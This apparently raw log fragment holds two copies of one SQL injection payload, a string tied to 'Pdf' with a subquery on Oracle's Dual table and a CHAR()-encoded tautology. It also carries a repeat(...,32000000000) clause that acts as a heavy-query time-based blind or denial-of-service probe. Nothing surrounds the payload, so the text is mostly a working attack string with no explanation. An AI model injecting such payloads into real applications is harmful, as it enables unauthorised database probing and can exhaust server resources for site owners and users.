Pdf||(select Char(85)||char(66)||char(84)||char(87) From Dual Where 4737=4737 OR Char(114)||char(111)||char(106)||char(82)=regexp_substring(repeat(right(char(4799),0),32000000000),null))||
≈ Pdf||(select Char(85)||char(66)||char(84)||char(87) From Dual Where 4737=4737 OR Char(114)||char(111)||char(106)||char(82)=regexp_substring(repeat(right(char(4799),0),32000000000),null))||